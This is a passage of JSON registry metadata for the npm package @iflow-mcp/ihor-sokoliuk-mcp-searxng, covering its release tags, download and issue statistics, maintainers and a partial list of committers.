67dbd7fe6c148aead07b8b6a145d0129176f102e","kind":"commit","published_at":"2025-10-19T20:37:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"e83f814f3d837e638501f4586faf5efa2d6b65e9","kind":"commit","published_at":"2025-10-19T20:34:41.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"20d2f5de6eb64d62d13adb642f29a8ab94ef2d2f","kind":"commit","published_at":"2025-10-19T20:18:54.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"0a4d3f393e9e771fcad0dfe32c40d56fe9830f85","kind":"commit","published_at":"2025-10-19T20:16:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"d9f997cf2a617b82f691956a3ceffca54f443b7a","kind":"tag","published_at":"2025-10-19T20:13:26.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"62f0d26df2f186f0c259214f836607cac8b8ede1","kind":"tag","published_at":"2025-10-19T20:12:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"73035fde630b15d0937892953ed6c72ce462738a","kind":"tag","published_at":"2025-09-25T03:58:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0/manifests"},{"name":"v0.6.5","sha":"04109ba6419e4ee9fce08503e9948d18c8616d6a","kind":"tag","published_at":"2025-09-08T20:15:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5/manifests"},{"name":"v0.6.4","sha":"cf8a590d143abb298c7edb50522d0d4ddb3213cb","kind":"tag","published_at":"2025-09-08T18:07:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4/manifests"},{"name":"v0.6.3","sha":"b6aac7df026ca37142a3b94868864e0932573239","kind":"tag","published_at":"2025-09-08T16:38:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3/manifests"},{"name":"v0.6.2","sha":"b75093448fd31a6643ae3d94ff1dd239bdba23bb","kind":"tag","published_at":"2025-09-06T20:56:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"6ec6132b63d3003757e8b6b9fe5dfa023f22edae","kind":"tag","published_at":"2025-08-24T19:41:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"de7e3f108dd4ce7e9c3a067235f8c0518bba5ff5","kind":"commit","published_at":"2025-08-23T04:49:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"f2b4c0f7f4494ec86e6242480dcb789502749d86","kind":"tag","published_at":"2025-08-09T00:51:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"383b32dee5232fdb6e9b241df2271c4a22c7a004","kind":"tag","published_at":"2025-07-07T22:55:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"e2291216e0fb52f8199f8d7c38348a6a1e7ec060","kind":"commit","published_at":"2025-06-02T03:10:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0/manifests"},{"name":"v0.4.7","sha":"41ad5e534404db89fc6dfea18be30674db0b2fa5","kind":"tag","published_at":"2025-06-02T03:09:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"cf5128a1409befc4a658cc170332357e0fb8e29e","kind":"tag","published_at":"2025-04-22T16:23:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"b7e720b842e0c017bf18a74bdaa8a05a0e6dbf64","kind":"tag","published_at":"2025-04-22T00:58:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"df39042139b11820580732f2c43f0cbbc6f768bd","kind":"tag","published_at":"2025-04-22T00:54:36.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"cfaac057e157da0c76cb5cb46b7fcc461ddb7868","kind":"tag","published_at":"2025-04-22T00:51:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"aa6c5c233194aa9566163b3a0dae8e68d0c2c640","kind":"tag","published_at":"2025-04-22T00:42:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"e32f704d56567ecd6a49a03638e85e5d016cd3a5","kind":"tag","published_at":"2025-04-19T23:48:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"ae12a306d615057c328d201cc497d5aad6571583","kind":"commit","published_at":"2025-04-19T23:33:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0/manifests"},{"name":"v0.3.7","sha":"8d9592923bfe89ba345a823599effc929dc88c2f","kind":"commit","published_at":"2025-04-19T23:31:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"80a912c94869adf5b12fc068d834ad4ffda6c251","kind":"commit","published_at":"2025-04-19T23:28:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"6ad31a3101a311f1fee8650b82c4d30d631c2612","kind":"commit","published_at":"2025-04-19T23:25:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"12601a381127142244c084035627d1e5366629c1","kind":"tag","published_at":"2025-04-19T22:31:18.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"265342b209d930a49235ce8a078d94ca26d935fa","kind":"tag","published_at":"2025-04-17T02:23:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"77e3e6290238a4ad4f14fa6caa3079a800aff07d","kind":"tag","published_at":"2025-04-17T02:15:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"c23cd418ecccc7aacbd770b94388c180f33dbf1b","kind":"commit","published_at":"2025-04-17T01:19:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1/manifests"}]},"repo_metadata_updated_at":"2026-10-10T20:46:20.236Z","dependent_packages_count":0,"downloads":12,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":22.630920533568872,"dependent_packages_count":32.61927678527104,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":27.625098659419955},"purl":"pkg:npm/%40iflow-mcp/ihor-sokoliuk-mcp-searxng","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@iflow-mcp/ihor-sokoliuk-mcp-searxng","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@iflow-mcp/ihor-sokoliuk-mcp-searxng","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@iflow-mcp/ihor-sokoliuk-mcp-searxng/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-09T09:27:28.023Z","issues_count":25,"pull_requests_count":150,"avg_time_to_close_issue":1215908.8125,"avg_time_to_close_pull_request":202543.14503816795,"issues_closed_count":16,"pull_requests_closed_count":131,"pull_request_authors_count":23,"issue_authors_count":25,"avg_comments_per_issue":3.36,"avg_comments_per_pull_request":1.8666666666666667,"merged_pull_requests_count":98,"bot_issues_count":0,"bot_pull_requests_count":50,"past_year_issues_count":16,"past_year_pull_requests_count":141,"past_year_avg_time_to_close_issue":1460293.75,"past_year_avg_time_to_close_pull_request":202261.40157480314,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":127,"past_year_pull_request_authors_count":15,"past_year_issue_authors_count":16,"past_year_avg_comments_per_issue":3.6875,"past_year_avg_comments_per_pull_request":1.978723404255319,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":50,"past_year_merged_pull_requests_count":94,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/issues","maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}],"active_maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@iflow-mcp%2Fihor-sokoliuk-mcp-searxng/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@iflow-mcp%2Fihor-sokoliuk-mcp-searxng/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@iflow-mcp%2Fihor-sokoliuk-mcp-searxng/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@iflow-mcp%2Fihor-sokoliuk-mcp-searxng/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@iflow-mcp%2Fihor-sokoliuk-mcp-searxng/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@iflow-mcp%2Fihor-sokoliuk-mcp-searxng/codemeta","maintainers":[{"uuid":"qystart","login":"qystart","name":null,"email":"987472953@qq.com","url":null,"packages_count":5190,"html_url":"https://www.npmjs.com/~qystart","role":null,"created_at":"2026-03-02T00:09:47.932Z","updated_at":"2026-03-02T00:09:47.932Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/qystart/packages"},{"uuid":"chatflowdev","login":"chatflowdev","name":null,"email":"chatflowdev@gmail.com","url":null,"packages_count":5274,"html_url":"https://www.npmjs.com/~chatflowdev","role":null,"created_at":"2026-03-02T00:09:47.883Z","updated_at":"2026-03-02T00:09:47.883Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/chatflowdev/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5979924,"maintainers_count":1278739,"namespaces_count":448831,"keywords_count":929963,"github":"npm","metadata":{"funded_packages_count":209043,"rate_limit":3},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-10-17T05:05:21.841Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}}],"commits":{"id":10989371,"full_name":"ihor-sokoliuk/mcp-searxng","default_branch":"main","total_commits":673,"total_committers":25,"total_bot_commits":46,"total_bot_committers":3,"mean_commits":26.92,"dds":0.14115898959881135,"past_year_total_commits":562,"past_year_total_committers":15,"past_year_total_bot_commits":45,"past_year_total_bot_committers":2,"past_year_mean_commits":37.46666666666667,"past_year_dds":0.12277580071174377,"last_synced_at":"2026-10-16T16:46:36.491Z","last_synced_commit":"032ba85a4db43989ee0274fb8a738e875c819f48","created_at":"2025-09-07T12:53:28.923Z","updated_at":"2026-10-16T16:46:36.377Z","committers":[{"name":"ihor-sokoliuk","email":"yaaappee@gmail.com","login":"ihor-sokoliuk","count":578},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":38},{"name":"Chris Dzombak","email":"chris@dzombak.com","login":"cdzombak","count":7},{"name":"copilot-swe-agent[bot]","email":"198982749+Copilot","login":"Copilot","count":7},{"name":"Matthew Lenhard","email":"mclenhard@gmail.com","login":"mclenhard","count":5},{"name":"杜勇","email":"531014023@qq.com","login":"531014023","count":5},{"name":"Joe Maples","email":"joe@maples.dev","login":"frap129","count":4},{"name":"Anton","email":"anton@antonsjeans.com","login":null,"count":3},{"name":"Huy Tran","email":"kingbazoka@gmail.com","login":"huytd","count":3},{"name":"Henry Mao","email":"1828968+calclavia","login":"calclavia","count":2},{"name":"Michael Trullas Garcia","email":"adoser2@hotmail.es","login":"michaeltg17","count":2},{"name":"Sebastion","email":"sebastion@sebastion.dev","login":"sebastiondev","count":2},{"name":"eebrian123tw01","email":"eebrian123tw01@gmail.com","login":"eebrian123tw01","count":2},{"name":"hutchisr","email":"42283663+hutchisr","login":"hutchisr","count":2},{"name":"sawork1987","email":"sawork1987@yandex.ru","login":"sawork1987","count":2},{"name":"wchy1128","email":"wchy1128","login":"wchy1128","count":2},{"name":"Frank Fiegel","email":"108313943+punkpeye","login":"punkpeye","count":1},{"name":"MikeWang0316tw","email":"br70316@gmail.com","login":"MikeWang0316tw","count":1},{"name":"SamAcctX","email":"87765660+SamAcctX","login":"SamAcctX","count":1},{"name":"Shaun Eccles","email":"shauneccles@gmail.com","login":"shauneccles","count":1},{"name":"Sheldon","email":"32926567+sheldonxxxx","login":"sheldonxxxx","count":1},{"name":"Zakir 